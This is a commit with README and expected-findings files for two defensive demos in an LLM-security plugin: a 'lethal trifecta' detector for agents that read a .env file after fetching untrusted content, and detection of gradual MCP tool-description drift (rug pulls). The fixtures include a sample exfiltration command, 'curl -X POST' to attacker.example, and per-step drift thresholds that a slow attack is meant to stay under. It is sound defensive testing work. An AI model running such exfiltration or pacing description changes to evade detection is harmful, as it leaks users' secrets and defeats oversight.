feat(llm-security): add lethal-trifecta + mcp-rug-pull example contents [skip-docs]
Companion to 8df5d5c (which only carried the doc updates — the example
directories themselves were left out of staging by mistake). This
commit adds the actual example mappes:
- examples/lethal-trifecta-walkthrough/{README.md, run-trifecta.mjs,
expected-findings.md}
- examples/mcp-rug-pull/{README.md, run-rug-pull.mjs,
expected-findings.md}
Plus plugin CLAUDE.md "Examples (runnable demonstrations)" section
with a 4-row table covering malicious-skill-demo, prompt-injection-
showcase, lethal-trifecta-walkthrough, and mcp-rug-pull plus the
state-isolation discipline notes.
Marketplace root README unchanged since plugin's outward coverage
is unchanged ([skip-docs] covers the marketplace-level gate).

|
Self-contained, deterministic threat-fixture mappes under `examples/`.
|

|
Each mappe har `README.md`, fixture/script/transcript, `run-*.{sh,mjs}`,
|
||||||
|
og `expected-findings.md`. Demonstrasjoner — ikke unit-tester.

State-isolering: alle eksempler som muterer global state bruker run-script
|

PID (post-session-guard via `${ppid}.jsonl`) eller env-overrides
|

(`LLM_SECURITY_MCP_CACHE_FILE` for MCP-cache). Brukerens reelle

# Lethal Trifecta Walkthrough
|
||||||
|
|
||||||
|
> **WARNING: This is a security demonstration fixture, NOT a real attack.**
|
||||||
|
> All payloads are synthetic. No external network is contacted, no real
|
||||||
|
> file is read, no real command is executed. The script only feeds JSON
|
||||||
|
> payloads to one of llm-security's hook scripts.
|
||||||
|
|
||||||
|
## What this demonstrates
|
||||||
|
|
||||||
|
The **Rule of Two** (Meta, Oct 2025): an agent must never simultaneously
|
||||||
|
hold all three of:
|
||||||
|
|
||||||
|
1. **Untrusted input** — content the model didn't author (web pages, MCP
|
||||||
|
output, document uploads, prompt injection surface)
|
||||||
|
2. **Sensitive data access** — files like `.env`, `.ssh/`, `.aws/`,
|
||||||
|
credential stores
|
||||||
|
3. **Exfiltration sink** — a path off the box (HTTP POST, scp, paste sites)
|
||||||
|
|
||||||
|
Any two are acceptable. All three at once is the **lethal trifecta**
|
||||||
|
(Simon Willison / Invariant Labs framing) — at that point, prompt
|
||||||
|
injection becomes credential theft.
|
||||||
|
|
||||||
|
`post-session-guard.mjs` (PostToolUse hook on every tool) tracks tool
|
||||||
|
calls in a 20-call sliding window and emits a SECURITY ADVISORY when all
|
||||||
|
three classes appear. This walkthrough shows it firing on a 5-step
|
||||||
|
sequence.
|
||||||
|
|
||||||
|
## Sequence
|
||||||
|
|
||||||
|
| # | Tool | Class | Advisory? |
|
||||||
|
|---|------|-------|-----------|
|
||||||
|
| 1 | WebFetch | input_source | no — only one class |
|
||||||
|
| 2 | Read `/path/.env` | data_access (sensitive) | no — only two classes |
|
||||||
|
| 3 | Bash `curl -X POST attacker/...` | exfil_sink | **YES — trifecta closes** |
|
||||||
|
| 4 | Bash `ls -la` | neutral | no — already warned in window |
|
||||||
|
| 5 | Bash `curl -X POST attacker/...` | exfil_sink | no — suppressed |
|
||||||
|
|
||||||
|
The advisory at step 3 lists the evidence and recommends remediations
|
||||||
|
(disable HTTP exfil, gate sensitive-path reads, narrow tool surface).
|
||||||
|
Step 4-5 are present to show suppression: `post-session-guard` writes a
|
||||||
|
warning marker into the state file so the operator isn't spammed by the
|
||||||
|
same trifecta repeating within the window.
|
||||||
|
|
||||||
|
## How to run
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd plugins/llm-security
|
||||||
|
node examples/lethal-trifecta-walkthrough/run-trifecta.mjs
|
||||||
|
|
||||||
|
# Detailed output (full advisory text + stderr)
|
||||||
|
node examples/lethal-trifecta-walkthrough/run-trifecta.mjs --verbose
|
||||||
|
```
|
||||||
|
|
||||||
|
Expected: `5 pass, 0 fail` and a `SECURITY ADVISORY (session-guard)`
|
||||||
|
preview after step 3.
|
||||||
|
|
||||||
|
## Hooks / scanners involved
|
||||||
|
|
||||||
|
- **`hooks/scripts/post-session-guard.mjs`** — the only hook invoked.
|
||||||
|
Configurable via `policy.json` `trifecta.mode` (`block` / `warn` /
|
||||||
|
`off`; default `warn`) or env var `LLM_SECURITY_TRIFECTA_MODE`.
|
||||||
|
|
||||||
|
This example uses `mode: warn` (default). In `block` mode the third
|
||||||
|
call's advisory becomes a hard block (exit 2) and the agent action is
|
||||||
|
denied — see `docs/security-hardening-guide.md` §3 for when to switch.
|
||||||
|
|
||||||
|
## OWASP / framework mapping
|
||||||
|
|
||||||
|
| Code | Framework | Why |
|
||||||
|
|------|-----------|-----|
|
||||||
|
| LLM01 | OWASP LLM Top 10 (2025) | Prompt injection lands via the input_source leg |
|
||||||
|
| LLM02 | OWASP LLM Top 10 (2025) | Sensitive output disclosure (the .env exfil) |
|
||||||
|
| ASI01 | OWASP Agentic Top 10 | Excessive Agency — agent holds all three capabilities |
|
||||||
|
| ASI02 | OWASP Agentic Top 10 | Agent Data Leakage — exfil sink + sensitive read |
|
||||||
|
|
||||||
|
## State isolation
|
||||||
|
|
||||||
|
`post-session-guard` stores per-session state at
|
||||||
|
`${os.tmpdir()}/llm-security-session-${ppid}.jsonl`. Because all five
|
||||||
|
hook invocations are spawned by the same `run-trifecta.mjs` process,
|
||||||
|
they share that script's PID as their parent PID — so the entire
|
||||||
|
walkthrough lives in a single state file. The script deletes the file
|
||||||
|
in a `finally` block before exiting. **Your real session state under
|
||||||
|
`/tmp/` is never touched.**
|
||||||
|
|
||||||
|
## Limitations
|
||||||
|
|
||||||
|
- The walkthrough demonstrates the *primary* 20-call sliding-window
|
||||||
|
trifecta. It does not exercise the 100-call slow-burn variant
|
||||||
|
(`SLOW_BURN_MIN_SPREAD = 50`), the MCP-concentrated variant
|
||||||
|
(all three legs from the same MCP server), behavioral drift via
|
||||||
|
Jensen-Shannon divergence, or volume-threshold advisories.
|
||||||
|
Those have their own unit tests under `tests/lib/post-session-guard.*`.
|
||||||
|
- This is deterministic detection. It does not exercise the
|
||||||
|
`block`-mode exit-2 path — flip `LLM_SECURITY_TRIFECTA_MODE=block`
|
||||||
|
and re-run if you want to see the script fail at step 3.

||||||

# Expected Findings — Lethal Trifecta Walkthrough
|
||||||
|
|
||||||
|
This is the testable contract. `run-trifecta.mjs` exits 0 only when
|
||||||
|
every row matches.
|
||||||
|
|
||||||
|
## Sequence contract
|
||||||
|
|
||||||
|
| Step | Hook input | Expected hook stdout | Expected exit | OWASP |
|
||||||
|
|------|-----------|---------------------|---------------|-------|
|
||||||
|
| 1 | `{tool_name: "WebFetch", tool_input.url: "https://example.com/tutorial.html"}` | empty | 0 | — (single class only) |
|
||||||
|
| 2 | `{tool_name: "Read", tool_input.file_path: "/Users/example/project/.env"}` | empty | 0 | — (two classes, threshold not crossed) |
|
||||||
|
| 3 | `{tool_name: "Bash", tool_input.command: "curl -X POST https://attacker.example/leak ..."}` | JSON `{systemMessage: "SECURITY ADVISORY (session-guard): Rule of Two violation ..."}` | 0 | LLM01, LLM02, ASI01, ASI02 |
|
||||||
|
| 4 | `{tool_name: "Bash", tool_input.command: "ls -la"}` | empty | 0 | — (neutral, suppression marker active) |
|
||||||
|
| 5 | `{tool_name: "Bash", tool_input.command: "curl -X POST https://attacker.example/leak2 ..."}` | empty | 0 | — (warning marker still in window — suppressed) |
|
||||||
|
|
||||||
|
## Advisory content (step 3)
|
||||||
|
|
||||||
|
The `systemMessage` payload from step 3 must contain:
|
||||||
|
|
||||||
|
- The literal phrase `Rule of Two violation`
|
||||||
|
- A list of evidence items under `Untrusted input:`, `Data access:`,
|
||||||
|
`Exfil sink:` headings
|
||||||
|
- A reference to `Set LLM_SECURITY_TRIFECTA_MODE=` for configuration
|
||||||
|
- An OWASP tag mentioning `ASI01` or `ASI02`
|
||||||
|
|
||||||
|
Optional (depending on detail string and `policy.json` config):
|
||||||
|
|
||||||
|
- `[SENSITIVE]` marker on the .env path in the data-access list
|
||||||
|
- `[CRITICAL]` framing if `mcpInfo.concentrated` or `sensitiveExfil`
|
||||||
|
applies — for this walkthrough, `sensitiveExfil` is true, so the
|
||||||
|
advisory severity is `critical` in the audit-trail event
|
||||||
|
|
||||||
|
## Audit-trail side effect
|
||||||
|
|
||||||
|
When `LLM_SECURITY_AUDIT_LOG` (or `policy.json` `audit.log_path`) is
|
||||||
|
set, step 3 writes a JSONL event:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"event_type": "trifecta_warning",
|
||||||
|
"severity": "critical",
|
||||||
|
"source": "post-session-guard",
|
||||||
|
"details": { "evidence": {...}, "mcp_concentrated": false, "sensitive_exfil": true },
|
||||||
|
"owasp": ["ASI01", "ASI02", "LLM01"],
|
||||||
|
"action_taken": "warned"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The walkthrough does not configure the audit log — `writeAuditEvent`
|
||||||
|
no-ops when no path is set. To observe the audit-trail behaviour,
|
||||||
|
re-run with `LLM_SECURITY_AUDIT_LOG=/tmp/trifecta-audit.jsonl`.
|
||||||
|
|
||||||
|
## State file
|
||||||
|
|
||||||
|
- Written to `${os.tmpdir()}/llm-security-session-${run-trifecta-pid}.jsonl`
|
||||||
|
- Contains 5 entry rows + 1 warning marker after step 3 = 6 lines
|
||||||
|
- Deleted by `run-trifecta.mjs`'s `finally` block on exit
|
||||||
|
- No interaction with the user's real session state files

# MCP Cumulative Drift (Rug-Pull) Walkthrough
|
||||||
|
|
||||||
|
> **WARNING: This is a demonstration fixture, NOT a real attack.**
|
||||||
|
> No live MCP server is contacted. The script feeds eight synthetic
|
||||||
|
> tool descriptions through `post-mcp-verify` and shows that the
|
||||||
|
> v7.3.0 cumulative-drift advisory fires when per-update detection
|
||||||
|
> would have stayed silent.
|
||||||
|
|
||||||
|
## What this demonstrates
|
||||||
|
|
||||||
|
**OWASP MCP05 — Rug Pull.** A trusted MCP server is updated in a series
|
||||||
|
of tiny edits. Each individual update stays under the 10% per-update
|
||||||
|
Levenshtein threshold, so the original v7.x detection (added before
|
||||||
|
E14) never trips. But after seven small edits the description has
|
||||||
|
drifted >25% from the original baseline — the tool now reads "Search
|
||||||
|
the local data store" instead of "Search the internal knowledge base
|
||||||
|
... for the agent to read".
|
||||||
|
|
||||||
|
`v7.3.0 (E14)` added a sticky **baseline** to the MCP description cache.
|
||||||
|
Every tool call computes:
|
||||||
|
|
||||||
|
- `per_update = levenshtein(current, previous) / |previous|` — fires above 10%
|
||||||
|
- `cumulative = levenshtein(current, baseline) / max(|current|, |baseline|)` — fires at 25%
|
||||||
|
|
||||||
|
This walkthrough proves the cumulative leg catches the slow burn that
|
||||||
|
the per-update leg misses.
|
||||||
|
|
||||||
|
## Drift profile
|
||||||
|
|
||||||
|
| Stage | Edit | per-update | cumulative | Advisory |
|
||||||
|
|-------|------|-----------:|-----------:|----------|
|
||||||
|
| 0 | baseline | — | 0.0% | seeded only |
|
||||||
|
| 1 | agent → user | 3.3% | 3.3% | none |
|
||||||
|
| 2 | ranked → scored | 3.3% | 6.6% | none |
|
||||||
|
| 3 | short → brief | 4.2% | 10.7% | none |
|
||||||
|
| 4 | documents → files | 5.8% | 16.5% | none |
|
||||||
|
| 5 | internal → local | 5.2% | 21.5% | none |
|
||||||
|
| 6 | base → store | 3.5% | 24.8% | none (just under threshold) |
|
||||||
|
| 7 | knowledge → data | 7.9% | **32.2%** | **mcp-cumulative-drift (MEDIUM)** |
|
||||||
|
|
||||||
|
The exact ratios are reproduced by `string-utils.levenshtein()` — see
|
||||||
|
`expected-findings.md` for the testable contract.
|
||||||
|
|
||||||
|
## How to run
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd plugins/llm-security
|
||||||
|
node examples/mcp-rug-pull/run-rug-pull.mjs
|
||||||
|
|
||||||
|
# Detailed: show stderr + final cache state
|
||||||
|
node examples/mcp-rug-pull/run-rug-pull.mjs --verbose
|
||||||
|
```
|
||||||
|
|
||||||
|
Expected: `8 pass, 0 fail`. Stage 7 produces a `SECURITY ADVISORY
|
||||||
|
(post-mcp-verify)` containing `mcp-cumulative-drift` and the literal
|
||||||
|
phrase `Slow-burn rug-pull may evade per-update detection`.
|
||||||
|
|
||||||
|
## Hooks / scanners involved
|
||||||
|
|
||||||
|
- **`hooks/scripts/post-mcp-verify.mjs`** — the only hook invoked.
|
||||||
|
Calls into `scanners/lib/mcp-description-cache.mjs::checkDescriptionDrift()`
|
||||||
|
for the actual drift math.
|
||||||
|
- **`scanners/lib/mcp-description-cache.mjs`** — the cache library.
|
||||||
|
Stores `{ description, firstSeen, lastSeen, baseline, history }` per
|
||||||
|
tool. Baseline survives the 7-day TTL purge.
|
||||||
|
|
||||||
|
## Cache isolation
|
||||||
|
|
||||||
|
`post-mcp-verify` honors `LLM_SECURITY_MCP_CACHE_FILE` env var (added
|
||||||
|
v7.3.0 specifically for testing/demos). The script:
|
||||||
|
|
||||||
|
1. Creates `mkdtempSync(tmpdir + 'llm-security-rugpull-')`
|
||||||
|
2. Points the cache at a file inside that tempdir
|
||||||
|
3. Spawns each hook invocation with the env var set
|
||||||
|
4. Removes the entire tempdir in `finally{}` before exit
|
||||||
|
|
||||||
|
**Your real `~/.cache/llm-security/mcp-descriptions.json` is never
|
||||||
|
touched.** This is the same pattern used by the unit tests under
|
||||||
|
`tests/lib/mcp-description-cache.test.mjs`.
|
||||||
|
|
||||||
|
## Resetting baseline after a legitimate upgrade
|
||||||
|
|
||||||
|
Real MCP servers do upgrade their descriptions occasionally — that's
|
||||||
|
not always an attack. After confirming the upgrade is genuine, run:
|
||||||
|
|
||||||
|
```
|
||||||
|
/security mcp-baseline-reset # clear all baselines
|
||||||
|
/security mcp-baseline-reset --target mcp__foo # clear one tool
|
||||||
|
/security mcp-baseline-reset --list # see current baselines
|
||||||
|
```
|
||||||
|
|
||||||
|
The next call to `checkDescriptionDrift` after a clear will re-seed
|
||||||
|
the baseline from whatever incoming description appears. `description`,
|
||||||
|
`firstSeen`, `lastSeen`, and `history` are preserved for audit.
|
||||||
|
|
||||||
|
## OWASP / framework mapping
|
||||||
|
|
||||||
|
| Code | Framework | Why |
|
||||||
|
|------|-----------|-----|
|
||||||
|
| MCP05 | OWASP MCP Top 10 | Rug-pull / unauthorized tool description change |
|
||||||
|
| LLM03 | OWASP LLM Top 10 | Supply-chain — compromised MCP server delivers altered behavior |
|
||||||
|
| ASI04 | OWASP Agentic Top 10 | Untrusted-tool-influence on agent behavior |
|
||||||
|
|
||||||
|
## Limitations
|
||||||
|
|
||||||
|
- The walkthrough demonstrates only the `mcp-cumulative-drift` MEDIUM
|
||||||
|
advisory. It does not exercise:
|
||||||
|
- Per-update advisory firing (above 10% in one step) — covered by the
|
||||||
|
older v6.x test suite
|
||||||
|
- Cache TTL purge (7 days) — would require time mocking
|
||||||
|
- History rolling cap (10 events FIFO) — emerges naturally over use
|
||||||
|
- This is a description-only rug-pull. Behavior changes that don't show
|
||||||
|
up in the description (e.g. the server returns different *content*
|
||||||
|
while keeping its description) are detected by other layers
|
||||||
|
(`post-session-guard` data flow tagging, `post-mcp-verify` content
|
||||||
|
scanning of `tool_output`).

||||||

# Expected Findings — MCP Cumulative Drift Walkthrough
|
||||||
|
|
||||||
|
This is the testable contract. `run-rug-pull.mjs` exits 0 only when
|
||||||
|
every row matches.
|
||||||
|
|
||||||
|
## Per-stage contract
|
||||||
|
|
||||||
|
| Stage | per-update advisory | cumulative advisory | OWASP |
|
||||||
|
|-------|---------------------|---------------------|-------|
|
||||||
|
| 0 | no | no (baseline seeded) | — |
|
||||||
|
| 1 | no | no | — |
|
||||||
|
| 2 | no | no | — |
|
||||||
|
| 3 | no | no | — |
|
||||||
|
| 4 | no | no | — |
|
||||||
|
| 5 | no | no | — |
|
||||||
|
| 6 | no | no (cum=24.8%, just under 25%) | — |
|
||||||
|
| 7 | **no** | **YES** | MCP05, LLM03 |
|
||||||
|
|
||||||
|
The hook output is JSON `{systemMessage: "..."}` containing
|
||||||
|
`SECURITY ADVISORY (post-mcp-verify): Potential data leakage detected.`
|
||||||
|
followed by an enumerated advisory. The `mcp-cumulative-drift`
|
||||||
|
advisory at stage 7 includes:
|
||||||
|
|
||||||
|
- The literal phrase `MCP tool cumulative description drift — MEDIUM`
|
||||||
|
- The OWASP tag `(mcp-cumulative-drift, OWASP MCP05)`
|
||||||
|
- The phrase `Slow-burn rug-pull may evade per-update detection`
|
||||||
|
- A baseline preview matching stage 0's text
|
||||||
|
- A current preview matching stage 7's text
|
||||||
|
- A pointer to `/security mcp-baseline-reset`
|
||||||
|
|
||||||
|
## Drift math (verifiable)
|
||||||
|
|
||||||
|
These ratios are produced by
|
||||||
|
`scanners/lib/string-utils.mjs::levenshtein()`:
|
||||||
|
|
||||||
|
| Stage | Levenshtein vs prev | Levenshtein vs baseline | per_update | cumulative |
|
||||||
|
|-------|-------------------:|------------------------:|-----------:|-----------:|
|
||||||
|
| 1 | 4 | 4 | 3.3% | 3.3% |
|
||||||
|
| 2 | 4 | 8 | 3.3% | 6.6% |
|
||||||
|
| 3 | 5 | 13 | 4.2% | 10.7% |
|
||||||
|
| 4 | 7 | 20 | 5.8% | 16.5% |
|
||||||
|
| 5 | 6 | 26 | 5.2% | 21.5% |
|
||||||
|
| 6 | 4 | 30 | 3.5% | 24.8% |
|
||||||
|
| 7 | 9 | 39 | 7.9% | **32.2%** |
|
||||||
|
|
||||||
|
per_update threshold = 0.10 → never tripped.
|
||||||
|
cumulative threshold = 0.25 → tripped at stage 7.
|
||||||
|
|
||||||
|
## Cache state at end (verbose mode)
|
||||||
|
|
||||||
|
`mcp__knowledge__search` entry should contain:
|
||||||
|
|
||||||
|
- `baseline.description` = stage 0 text (immutable since stage 0)
|
||||||
|
- `description` = stage 7 text (last seen)
|
||||||
|
- `history.length` = 7 (one entry per stage 1-7)
|
||||||
|
- `firstSeen` and `lastSeen` set to runtime millis
|
||||||
|
- No `clearBaseline()` was called, so baseline is still present
|
||||||
|
|
||||||
|
## Side effects
|
||||||
|
|
||||||
|
- Cache file is written to `mkdtemp` directory provided via env var
|
||||||
|
- Cache directory is removed by `finally{}` block on exit
|
||||||
|
- No MCP audit-trail event (audit trail not configured for this demo)
|
||||||
|
- No interaction with `~/.cache/llm-security/`
